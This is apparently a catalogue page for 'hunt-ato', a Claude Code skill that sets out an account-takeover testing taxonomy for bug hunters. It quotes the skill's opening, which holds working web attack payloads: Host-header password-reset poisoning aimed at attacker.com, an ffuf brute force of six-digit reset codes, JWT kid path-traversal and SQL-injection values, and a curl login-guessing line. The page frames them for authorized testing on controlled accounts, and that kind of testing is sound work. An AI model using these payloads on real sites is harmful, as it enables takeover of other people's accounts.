hunt-ato

hunt-ato is a skill for Claude Code from Zyrexnn/Cybermes. It costs 241 tokens per session (3,088 once invoked), scanned A, a copy of hunt-ato, Apache-2.0.

A security-testing taxonomy for account takeover, where an attacker gains control of another user's account, covering nine attack paths and combinations of them.

In plain words
What is it for?
Testing password-reset links, email changes, OAuth account linking, multi-factor authentication bypasses, session weaknesses, and other routes using controlled accounts.
Why use it?
It separates genuine takeover routes from weaker findings, such as locking yourself out or needing the victim's password and session already.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is # (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid).

Part of the Claude-BugHunter plugin — 11 skills, 15 commands shipped together

Good fit Testing password-reset links, email changes, OAuth account linking, multi-factor authentication bypasses, session weaknesses, and other routes using controlled accounts.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/Zyrexnn/Cybermes
agentmods
npx agentmods add skills/zyrexnn/cybermes/hunt-ato

Made for: Claude Code.

Or install Claude-BugHunter, the plugin that ships this one along with the rest of its 11 skills, 15 commands.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-ato

README.md
[![agentmods](https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-ato.svg)](https://agentmods.dev/skills/zyrexnn/cybermes/hunt-ato)
Your own site
<a href="https://agentmods.dev/skills/zyrexnn/cybermes/hunt-ato"><img src="https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-ato.svg" alt="Measured on agentmods" height="20"></a>
Per session 241 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,088 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 88% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00241 $0.03088
Opus 5 $0.00120 $0.01544
Sonnet 5 $0.00048 $0.00618
Haiku 4.5 $0.00024 $0.00309

Measured 8d ago against content hash 7d3ed0b1f413, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

hunt-ato scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
Origin

This is a copy

88% identical to hunt-ato — 239 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

knowledge/Claude-BugHunter/skills/hunt-ato/SKILL.md · 133 lines

How it starts

The opening of the file, as written. The whole thing — 133 lines — stays where its author put it; the contents beside it link to each section on GitHub.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Read the full file on GitHub · 133 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 133 lines · 241 tokens per session scan A 7d3ed0b1f413

Subscribe to this mod's changes

hunt-ato is a skill published in the GitHub repository Zyrexnn/Cybermes (668 stars, last pushed 9d ago), licensed Apache-2.0. It adds 241 tokens to every session and 3,088 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). It is 88% identical to hunt-ato, differing in 239 lines, and is treated as a copy.

Related

Other skills, from other repositories

forensics-kit

Digital forensics and incident response toolbox. Load when the operator asks about a pcap, a binary, a memory dump, a suspicious file, malware triage, IOC hunting, or post-incident analysis. Covers network (tshark), binaries (radare2, strings, binwalk, file, exiftool), memory (volatility), and pattern matching (YARA).…

FrancescoStabile/numasec · 101 tokens

passive-osint

Passive reconnaissance against a target without sending traffic that could alert it. Load when the engagement starts, when you only know a domain/email/username, when scope is unclear, or when you need historical surface area. Covers subdomain enumeration (crt.sh, subfinder), historical archives (wayback), DNS posture…

FrancescoStabile/numasec · 99 tokens

authz-recipe

Broken Access Control is OWASP #1, but there is no drop-in CLI (Autorize / AuthMatrix are Burp extensions). This is the procedure that carries the whole category: an authorization-matrix + A/B session-replay method driving curl, the playwright skill (per-identity sessions), and ffuf (ID enumeration). Live →…

tr4m0ryp/shor · 62 tokens

jwt_tool

Skill "jwt_tool" from tr4m0ryp/shor, covering jwttool — jwt analysis & attacks, when to reach for it, key flags / modes, safe invocation and form field (oidc-style).

tr4m0ryp/shor · 52 tokens

git-security-history

A small recipe over the already-cloned repo. It runs git log --grep for security/CVE/fix patterns, maps the touched files into ranked hot files, and emits historicalsignal.json. It optionally folds in two signals you may have ALREADY produced this phase — osv-scanner JSON (dependency CVEs) and gitleaks JSON (history…

tr4m0ryp/shor · 86 tokens

playwright

Headless Chromium via Playwright (installed pip install playwright && playwright install chromium, with glibc font/nss deps). Use it to interact with JS-heavy apps, complete login/SSO/multi-step flows for an authenticated session, and — critically — to prove client-side findings by observing real execution (an XSS…

tr4m0ryp/shor · 53 tokens